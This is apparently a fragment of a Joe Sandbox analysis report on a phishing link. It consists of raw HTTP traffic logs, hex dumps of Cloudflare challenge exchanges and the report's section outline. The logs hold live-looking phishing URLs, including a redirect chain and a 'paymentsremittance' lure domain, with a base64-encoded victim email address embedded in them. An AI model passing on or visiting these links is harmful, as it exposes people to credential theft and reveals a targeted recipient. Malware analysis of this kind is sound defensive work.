2025-03-04 19:39:56 UTC	1071	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:39:56 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 238968 Connection: close cf-chl-gen: hkbFwRa3HHm93avrQnh2wGh70c/+Xmr2GzwU8vlbuQrw/zxLfAPEls0AfxugsABgZ78J9SsTrXYNjOVi97mJodOoyycGvocq7seJF83wWFpYL3G071QyJ11s2Zo7yXMsFBBD7lgqxpX41mY9MAUTg5m0twvk7+3RtYMh0EEQVNSw5wGLmUrvAOjPqRbg21UPUw9BLxEGL6d1Rq+aobBbGe5edOf3z/gRZeZUq/8oRCUnjIxTIuR3mOyl3kJQ8QeCGEaA567ELrLXIs+Xy8pdLTUKUBkNhGkdt4sJnjGIuVCtjk1PSvUcvSbxW2TCiyxNjvzDOi62a02YWdYBNDeqRZgoRfrAncaAhG/GiOuCHpe4HJLUdI1KeSZI1ECS6lv3t7822syp84i0Dy23bk/BfDzfrB3SCMq5wDdjkCw3ejPl2JAhJjK6VJk2kYxNVpoaesRDwyESzl1S7h1O4NbIRNsWMxV/eCsfUxr8m6T0OEqT9hV/pOd1sHigDlhuAIFwMTSkfuBqPYxuCg9OwKhp+xQeJXdu2v4KweTnXGFBGgzGsKwTnjNwmWxyegEKBtaQchUBkc4SbcoXQuNRNhCkKp6/J1uE5bbk9Qe/0EBWR6jiot3byTs3M8RAD0H8VWSLGVQ0QhLo9FbAjQYv3D91mBXPtmYDO4b88gtrO1BaMas8BAajHneG0A4y6mU67XfYldYNcOGIO889ueRLH3ZRDiHAJv9qIQbvZrsEEEvIxHqSGkNwlt6/vCaPOl4qjXYDMQMhaqTH8qDCh2TKSPJMh8GCJopUMnCkuueSK5qv6G8=$l/BG6vVCXgTtvj+PKfiAtA== Server: cloudflare CF-RAY: 91b3d7ac5ff042e9-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:39:56 UTC	298	IN	Data Raw: 51 59 68 55 6a 6c 6c 66 5a 6d 47 41 69 6f 36 49 6b 56 43 54 63 31 53 56 64 32 71 66 58 6f 6d 4e 6a 33 75 44 6a 6d 47 61 67 57 43 49 6e 32 69 4e 70 6d 35 71 6f 34 69 78 69 6d 2b 76 68 37 43 57 6c 4c 74 31 72 71 70 32 6b 35 52 2b 69 34 2b 74 66 4a 2b 41 78 4a 72 49 79 61 53 6f 68 73 4f 76 72 59 75 31 72 4b 2b 6a 30 38 65 59 74 61 75 62 33 61 37 50 79 37 32 62 75 2b 43 36 76 75 57 2b 79 39 37 6a 32 4d 2f 69 35 38 7a 50 72 4e 58 54 30 4b 36 75 39 4d 32 78 2b 64 58 64 74 2b 48 70 33 74 44 7a 38 2b 50 6a 76 67 58 64 43 51 72 5a 2b 38 63 51 36 50 4c 62 30 50 44 4f 31 77 72 33 44 39 54 54 47 66 41 63 38 67 33 71 44 67 41 69 38 51 59 6c 35 78 77 62 35 77 33 37 48 79 4d 63 41 44 54 7a 45 51 51 41 4d 54 55 30 4a 44 51 74 44 68 67 51 44 76 31 42 2f 54 4a 48 4f 41 63 Data Ascii: QYhUjllfZmGAio6IkVCTc1SVd2qfXomNj3uDjmGagWCIn2iNpm5qo4ixim+vh7CWlLt1rqp2k5R+i4+tfJ+AxJrIyaSohsOvrYu1rK+j08eYtaub3a7Py72bu+C6vuW+y97j2M/i58zPrNXT0K6u9M2x+dXdt+Hp3tDz8+PjvgXdCQrZ+8cQ6PLb0PDO1wr3D9TTGfAc8g3qDgAi8QYl5xwb5w37HyMcADTzEQQAMTU0JDQtDhgQDv1B/TJHOAc
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 42 4a 54 46 73 2b 52 57 78 67 51 6c 38 71 53 6a 35 41 53 32 78 62 52 33 5a 55 66 31 39 31 54 6e 68 6b 55 33 42 38 59 56 5a 4a 67 48 56 61 66 49 6c 36 55 48 42 38 58 5a 56 6e 69 4a 43 42 6a 5a 53 54 62 32 69 49 56 59 68 71 64 6f 52 33 59 61 57 65 64 33 35 39 71 71 65 75 6a 61 35 77 72 4b 57 4a 74 61 36 32 71 4a 61 70 72 61 6d 77 64 4c 68 78 66 35 4b 64 6f 35 47 65 73 71 4e 2f 66 38 57 64 7a 4d 61 2b 78 4b 6a 43 6e 34 37 43 6a 63 2f 54 6b 36 32 73 70 74 71 31 76 61 2b 75 79 38 48 52 32 38 4c 6c 33 61 4b 2b 75 75 6d 73 71 37 69 70 78 4e 37 63 72 65 2b 74 36 63 33 30 39 75 6a 57 79 50 44 6d 32 50 4c 73 38 4f 4b 38 7a 39 76 6e 38 50 48 56 39 4f 59 4c 7a 41 37 48 43 65 6e 73 34 51 45 46 36 4e 51 45 35 4f 67 4b 36 78 41 4b 31 39 76 78 33 52 2f 36 47 76 30 61 49 Data Ascii: BJTFs+RWxgQl8qSj5AS2xbR3ZUf191TnhkU3B8YVZJgHVafIl6UHB8XZVniJCBjZSTb2iIVYhqdoR3YaWed359qqeuja5wrKWJta62qJapramwdLhxf5Kdo5GesqN/f8WdzMa+xKjCn47Cjc/Tk62sptq1va+uy8HR28Ll3aK+uumsq7ipxN7cre+t6c309ujWyPDm2PLs8OK8z9vn8PHV9OYLzA7HCens4QEF6NQE5OgK6xAK19vx3R/6Gv0aI
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 66 5a 57 42 67 55 6d 6b 74 56 6d 4a 74 4d 56 70 59 63 54 56 65 55 48 55 35 59 6c 68 35 50 57 63 2f 66 55 46 73 57 49 46 46 62 30 75 46 53 58 4e 51 6b 5a 52 71 53 33 64 71 66 5a 65 66 6c 6e 31 77 6c 5a 69 51 56 33 71 69 64 71 6d 6f 6e 59 6c 34 6a 6d 79 68 6f 4b 69 52 62 36 4f 47 6a 6f 36 6f 69 70 79 70 6b 6f 61 49 6b 34 36 6a 6a 37 36 63 68 4c 4b 41 74 4d 43 32 78 61 47 48 6f 49 6d 52 71 61 37 41 78 35 53 66 7a 73 33 49 30 4b 7a 56 76 4e 4c 4d 79 38 48 52 32 39 47 68 76 4d 58 5a 74 75 53 37 7a 75 2f 47 79 4d 76 78 30 63 33 45 77 61 6d 76 78 75 6e 61 79 39 4f 32 31 50 44 73 2f 74 33 32 76 77 44 64 42 38 62 69 2b 2b 6e 39 36 51 58 68 37 77 41 48 30 64 2f 6e 31 65 67 4c 32 75 30 62 38 41 6a 5a 48 4e 6a 37 33 78 45 51 45 76 6f 53 2b 65 49 4c 47 4f 33 37 4c 51 Data Ascii: fZWBgUmktVmJtMVpYcTVeUHU5Ylh5PWc/fUFsWIFFb0uFSXNQkZRqS3dqfZefln1wlZiQV3qidqmonYl4jmyhoKiRb6OGjo6oipypkoaIk46jj76chLKAtMC2xaGHoImRqa7Ax5Sfzs3I0KzVvNLMy8HR29GhvMXZtuS7zu/GyMvx0c3Ewamvxunay9O21PDs/t32vwDdB8bi++n96QXh7wAH0d/n1egL2u0b8AjZHNj73xEQEvoS+eILGO37LQ
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 62 48 6b 79 62 33 63 76 61 33 6f 2b 58 32 74 64 50 6c 69 43 50 6c 79 43 68 6b 56 39 50 32 31 4d 62 6d 4a 4b 53 5a 42 75 6c 57 2b 54 53 32 4b 48 69 34 6c 73 66 49 71 42 64 58 65 63 59 6e 36 58 6f 47 61 57 6d 47 79 59 61 57 71 73 72 34 74 76 6a 34 6d 46 70 6e 53 70 67 37 47 4e 76 61 6d 79 6b 4b 32 69 66 35 6d 74 78 4c 53 41 6e 35 33 44 77 36 57 39 7a 36 75 6f 77 34 79 77 6b 61 75 78 70 61 61 7a 74 73 2b 73 6c 71 6a 50 6b 39 33 62 73 73 62 54 34 4e 43 68 71 4d 62 57 6f 38 79 76 73 4e 72 49 72 73 6a 71 73 37 48 4d 38 75 6a 30 78 4e 61 30 2b 4c 76 58 32 37 6e 31 32 64 4c 31 41 4e 76 54 41 64 7a 6a 33 65 76 4d 41 74 73 43 39 64 4c 66 46 77 63 46 36 51 58 5a 43 76 62 6e 45 4e 7a 67 37 2f 55 65 42 42 67 6b 32 79 6b 65 44 67 73 59 49 4f 37 39 4a 51 55 50 39 44 55 Data Ascii: bHkyb3cva3o+X2tdPliCPlyChkV9P21MbmJKSZBulW+TS2KHi4lsfIqBdXecYn6XoGaWmGyYaWqsr4tvj4mFpnSpg7GNvamykK2if5mtxLSAn53Dw6W9z6uow4ywkauxpaazts+slqjPk93bssbT4NChqMbWo8yvsNrIrsjqs7HM8uj0xNa0+LvX27n12dL1ANvTAdzj3evMAtsC9dLfFwcF6QXZCvbnENzg7/UeBBgk2ykeDgsYIO79JQUP9DU
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 32 64 50 66 56 74 4c 57 6c 57 43 52 31 5a 59 52 56 53 43 53 31 6c 71 6a 6b 68 4f 65 34 4a 6e 6a 32 68 77 6b 6e 4b 46 61 6f 65 4e 64 5a 4b 41 59 56 57 56 65 6e 74 69 6d 4b 64 7a 61 59 61 72 70 6d 71 4b 6e 5a 4a 37 6f 35 56 30 67 6e 53 78 6a 36 4f 62 6a 72 36 37 6e 33 4f 53 6a 37 4b 32 74 63 57 33 6e 63 47 2b 77 34 72 45 76 37 47 35 72 4c 53 7a 74 4c 61 6b 79 62 44 46 32 38 76 58 33 4e 71 78 6d 70 76 56 6f 70 37 41 34 4c 69 6e 31 4b 72 67 79 38 4b 2b 36 4d 58 77 75 2b 69 39 76 72 66 30 36 61 79 7a 35 2f 72 6d 79 2f 76 73 76 4c 34 43 35 4f 62 78 43 4e 7a 55 79 4d 49 42 36 2b 7a 4e 79 75 66 66 44 50 45 43 44 52 66 31 32 68 72 6d 2b 74 37 56 2f 67 48 69 45 52 58 65 35 53 48 6b 42 68 59 67 4c 67 51 69 44 42 30 51 48 67 63 70 4e 52 4d 70 43 41 4d 55 4c 67 6f 74 Data Ascii: 2dPfVtLWlWCR1ZYRVSCS1lqjkhOe4Jnj2hwknKFaoeNdZKAYVWVentimKdzaYarpmqKnZJ7o5V0gnSxj6Objr67n3OSj7K2tcW3ncG+w4rEv7G5rLSztLakybDF28vX3NqxmpvVop7A4Lin1Krgy8K+6MXwu+i9vrf06ayz5/rmy/vsvL4C5ObxCNzUyMIB6+zNyuffDPECDRf12hrm+t7V/gHiERXe5SHkBhYgLgQiDB0QHgcpNRMpCAMULgot
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 70 51 51 49 52 55 5a 32 56 30 57 46 68 49 66 46 78 76 6b 57 64 4d 64 4a 5a 57 63 32 32 45 6b 59 64 6e 64 5a 46 61 64 35 4f 57 64 6e 74 6e 6d 61 4e 32 6f 58 78 6d 6d 4b 4b 77 61 6d 79 73 62 57 78 78 61 58 65 53 6b 5a 64 30 6c 70 43 51 66 4a 4f 38 6a 6f 2b 7a 66 61 4b 59 74 63 53 7a 77 5a 62 4d 71 37 2b 6a 6f 4a 50 4a 7a 63 62 41 31 4b 79 73 74 63 6d 6f 30 4e 4c 62 31 38 33 62 74 75 61 6d 70 74 79 6c 79 62 6a 74 6f 36 6a 71 38 4d 47 6b 77 62 53 2b 33 74 4c 71 38 4f 66 51 31 63 6e 75 7a 51 48 4a 34 76 6f 45 38 74 4d 41 76 67 6a 32 77 38 6f 4f 39 67 58 73 43 76 73 4b 41 39 44 71 37 4f 50 35 44 4e 6e 53 31 2b 6a 6f 49 66 44 33 34 66 55 43 39 76 45 53 42 42 73 6e 2f 66 76 33 4c 68 45 4c 44 68 77 79 36 2f 48 74 4a 69 4d 77 37 66 66 76 4e 50 5a 42 49 7a 45 69 49 Data Ascii: pQQIRUZ2V0WFhIfFxvkWdMdJZWc22EkYdndZFad5OWdntnmaN2oXxmmKKwamysbWxxaXeSkZd0lpCQfJO8jo+zfaKYtcSzwZbMq7+joJPJzcbA1Kystcmo0NLb183btuamptylybjto6jq8MGkwbS+3tLq8OfQ1cnuzQHJ4voE8tMAvgj2w8oO9gXsCvsKA9Dq7OP5DNnS1+joIfD34fUC9vESBBsn/fv3LhELDhwy6/HtJiMw7ffvNPZBIzEiI
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 58 59 48 70 4e 62 34 35 6c 54 35 4f 44 6b 49 74 33 5a 34 71 46 55 35 70 74 57 32 43 53 63 47 74 68 66 6e 74 37 66 36 71 47 64 70 71 70 71 61 4a 36 67 49 4f 48 6f 49 79 66 6c 35 53 47 65 5a 64 34 6d 5a 78 37 66 58 71 54 74 4b 4c 46 68 4c 57 68 76 36 57 59 6a 4c 75 38 6c 38 2f 49 7a 4d 4f 72 6a 4d 2b 66 30 39 62 46 6c 64 6d 74 74 62 69 2b 72 74 57 36 76 39 37 6c 32 4d 61 37 35 4e 75 38 71 73 32 70 78 2b 71 79 76 73 79 30 79 72 43 32 38 50 4c 54 75 73 2f 56 74 74 62 75 39 64 72 50 2f 67 62 63 43 76 6e 36 42 77 51 4c 35 65 30 44 79 67 72 53 42 65 6e 33 44 78 41 43 39 67 73 55 35 39 7a 37 48 66 76 73 38 42 49 6c 49 2b 2f 6b 38 78 73 69 2b 50 55 74 34 53 41 6f 45 42 4c 73 4c 68 41 56 38 69 63 72 2b 78 59 4e 4d 42 51 2f 4d 69 30 2f 4a 67 4d 46 4f 7a 4a 43 46 30 Data Ascii: XYHpNb45lT5ODkIt3Z4qFU5ptW2CScGthfnt7f6qGdpqpqaJ6gIOHoIyfl5SGeZd4mZx7fXqTtKLFhLWhv6WYjLu8l8/IzMOrjM+f09bFldmttbi+rtW6v97l2Ma75Nu8qs2px+qyvsy0yrC28PLTus/Vttbu9drP/gbcCvn6BwQL5e0DygrSBen3DxAC9gsU59z7Hfvs8BIlI+/k8xsi+PUt4SAoEBLsLhAV8icr+xYNMBQ/Mi0/JgMFOzJCF0
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 55 47 43 45 69 57 32 44 63 57 56 77 62 6d 2b 62 6c 33 4a 37 6f 5a 5a 68 70 61 53 66 65 6d 5a 6c 70 6d 4b 56 6f 32 57 45 63 49 5a 73 73 34 36 75 6b 49 6d 31 75 71 78 38 76 71 35 37 6d 37 64 34 6b 73 47 78 70 62 79 45 67 5a 75 2f 69 61 57 45 70 70 71 51 6b 61 79 55 78 4b 43 30 6c 71 61 69 6d 70 76 59 31 37 6a 56 77 72 58 54 72 70 76 61 30 37 66 68 73 37 76 42 78 4f 66 4b 76 76 43 70 79 37 48 76 7a 65 2f 44 32 62 66 35 33 4d 72 5a 36 4e 66 75 75 62 2b 36 33 39 30 45 43 74 6b 41 43 75 7a 71 36 66 66 50 44 77 66 4c 45 52 41 4e 43 64 58 35 46 4f 76 62 36 77 33 37 32 52 2f 67 49 68 41 42 39 2f 6e 34 32 78 73 42 48 69 54 2b 44 41 77 52 49 7a 51 4f 45 68 4c 77 45 68 59 61 2b 52 58 32 47 51 30 61 2b 6a 41 4e 49 41 41 50 47 53 67 45 43 79 30 36 42 67 45 6a 4f 6c 4a Data Ascii: UGCEiW2DcWVwbm+bl3J7oZZhpaSfemZlpmKVo2WEcIZss46ukIm1uqx8vq57m7d4ksGxpbyEgZu/iaWEppqQkayUxKC0lqaimpvY17jVwrXTrpva07fhs7vBxOfKvvCpy7Hvze/D2bf53MrZ6Nfuub+6390ECtkACuzq6ffPDwfLERANCdX5FOvb6w372R/gIhAB9/n42xsBHiT+DAwRIzQOEhLwEhYa+RX2GQ0a+jANIAAPGSgECy06BgEjOlJ
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 49 68 70 64 56 52 2f 62 6e 6d 57 64 36 4f 6a 70 6e 6c 31 6b 6f 47 56 71 35 5a 72 66 36 36 45 63 4a 2b 30 6e 6d 75 48 68 6f 46 7a 6a 37 79 56 73 36 62 41 75 34 6d 71 6b 35 69 36 6c 38 6a 43 78 70 33 4c 79 38 61 5a 68 71 53 50 70 4e 47 54 72 4b 6e 58 31 35 4f 79 71 36 58 57 74 74 36 30 6d 64 65 78 72 75 58 54 30 64 47 6c 36 38 62 42 77 4d 36 70 78 62 48 6c 79 75 44 79 34 39 44 55 2b 4f 58 55 79 4c 6e 53 33 72 66 69 34 39 67 46 42 4e 6f 43 77 4e 62 49 42 73 6a 45 39 39 7a 59 33 66 48 63 42 4f 33 66 35 65 50 70 42 2b 72 31 37 65 37 6e 2b 4f 30 44 38 76 33 31 2b 68 48 68 2f 43 58 68 42 66 6b 63 45 50 41 41 41 2f 49 4d 41 54 58 32 45 41 55 35 42 76 55 74 46 6a 67 33 4b 6a 45 57 45 42 6b 34 50 6a 63 43 42 54 52 46 50 54 6f 4b 53 43 38 77 49 68 30 70 52 54 42 54 Data Ascii: IhpdVR/bnmWd6Ojpnl1koGVq5Zrf66EcJ+0nmuHhoFzj7yVs6bAu4mqk5i6l8jCxp3Ly8aZhqSPpNGTrKnX15Oyq6XWtt60mdexruXT0dGl68bBwM6pxbHlyuDy49DU+OXUyLnS3rfi49gFBNoCwNbIBsjE99zY3fHcBO3f5ePpB+r17e7n+O0D8v31+hHh/CXhBfkcEPAAA/IMATX2EAU5BvUtFjg3KjEWEBk4PjcCBTRFPToKSC8wIh0pRTBT

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:56 UTC	604	OUT	OPTIONS /report/v4?s=ioIDO6rxpTKeFZTqsG0zpmN5EewSwdy1C6RpueWQ%2BKK0aSxF2SZ8Mr4s%2BwqF4hKQXIjY4EfXy%2B8WOJ6dKez9a9UxbRKUCPW5rAS%2BLIEKrWXmaTRxTS2RiQXUKz0YYDXMoy%2Bp%2BUw49cL46pyRufOmFeK6cH6rwpitk123PGfn HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://paymentsremittance.hostingdoccentral.it.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:56 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Tue, 04 Mar 2025 19:39:55 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:56 UTC	518	OUT	POST /report/v4?s=ioIDO6rxpTKeFZTqsG0zpmN5EewSwdy1C6RpueWQ%2BKK0aSxF2SZ8Mr4s%2BwqF4hKQXIjY4EfXy%2B8WOJ6dKez9a9UxbRKUCPW5rAS%2BLIEKrWXmaTRxTS2RiQXUKz0YYDXMoy%2Bp%2BUw49cL46pyRufOmFeK6cH6rwpitk123PGfn HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 530 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:56 UTC	530	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 39 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 70 61 79 6d 65 6e 74 73 72 65 6d 69 74 74 61 6e 63 65 2e 68 6f 73 74 69 6e 67 64 6f 63 63 65 6e 74 72 61 6c 2e 69 74 2e 63 6f 6d 2f 4f 74 4c 32 55 2f 3f 65 3d 59 57 4e 6a 62 33 56 75 64 48 4e 79 5a 57 4e 6c 61 58 5a 68 59 6d 78 6c 51 47 4e 6f 5a 57 31 7a 62 32 78 32 4c 6d 4e 76 62 51 3d 3d 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 Data Ascii: [{"age":0,"body":{"elapsed_time":295,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==","sampling_fraction":1.0,"server_ip":"172
2025-03-04 19:39:57 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 04 Mar 2025 19:39:56 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:57 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/302061580:1741115686:VPrrkfgK5Fjb68xBX7W-gDKZaVfhxReoh470mfFEUsY/91b3d7a1caf4f5fa/5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:57 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 04 Mar 2025 19:39:57 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 7lgceVZfjS8YATonDENvGcjA6Nr3ZYbOY7GhM0HcXBSo894vK7W8PfSTmOiycasomPDeLDQk2T5rmK0+r4sbhw==$+m8zHc+Zg0cf5ZpzLkdlIg== Server: cloudflare CF-RAY: 91b3d7b5ae54dd37-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:39:57 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:58 UTC	786	OUT	GET /cdn-cgi/challenge-platform/h/g/d/91b3d7a1caf4f5fa/1741117196235/gHyoFB5px8RwHLG HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:58 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:39:58 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 91b3d7bb2b6dc3f5-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:39:58 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 33 00 00 00 56 08 02 00 00 00 ed fa 39 94 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR3V9IDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:59 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/d/91b3d7a1caf4f5fa/1741117196235/gHyoFB5px8RwHLG HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:59 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:39:59 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 91b3d7c0e8eb70a4-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:39:59 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 33 00 00 00 56 08 02 00 00 00 ed fa 39 94 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR3V9IDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:59 UTC	815	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/91b3d7a1caf4f5fa/1741117196240/5f5179d8f005775bc0fbb7d28de578b659eef721cfc96249788452da6818c06a/3Xcn4es6iFXBdtg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:59 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 04 Mar 2025 19:39:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-03-04 19:39:59 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 58 31 46 35 32 50 41 46 64 31 76 41 2d 37 66 53 6a 65 56 34 74 6c 6e 75 39 79 48 50 79 57 4a 4a 65 49 52 53 32 6d 67 59 77 47 6f 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gX1F52PAFd1vA-7fSjeV4tlnu9yHPyWJJeIRS2mgYwGoAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-03-04 19:39:59 UTC	1	IN	Data Raw: 4a Data Ascii: J

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://reedhawkins.watsonrealtycorp.com/shared/email/crm/clickthru.php?hash=4ff934a7bb0a81c8c46fcc9a6676fcd3&aid=81803571&return_page=http%3A%2F%2Fmartinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

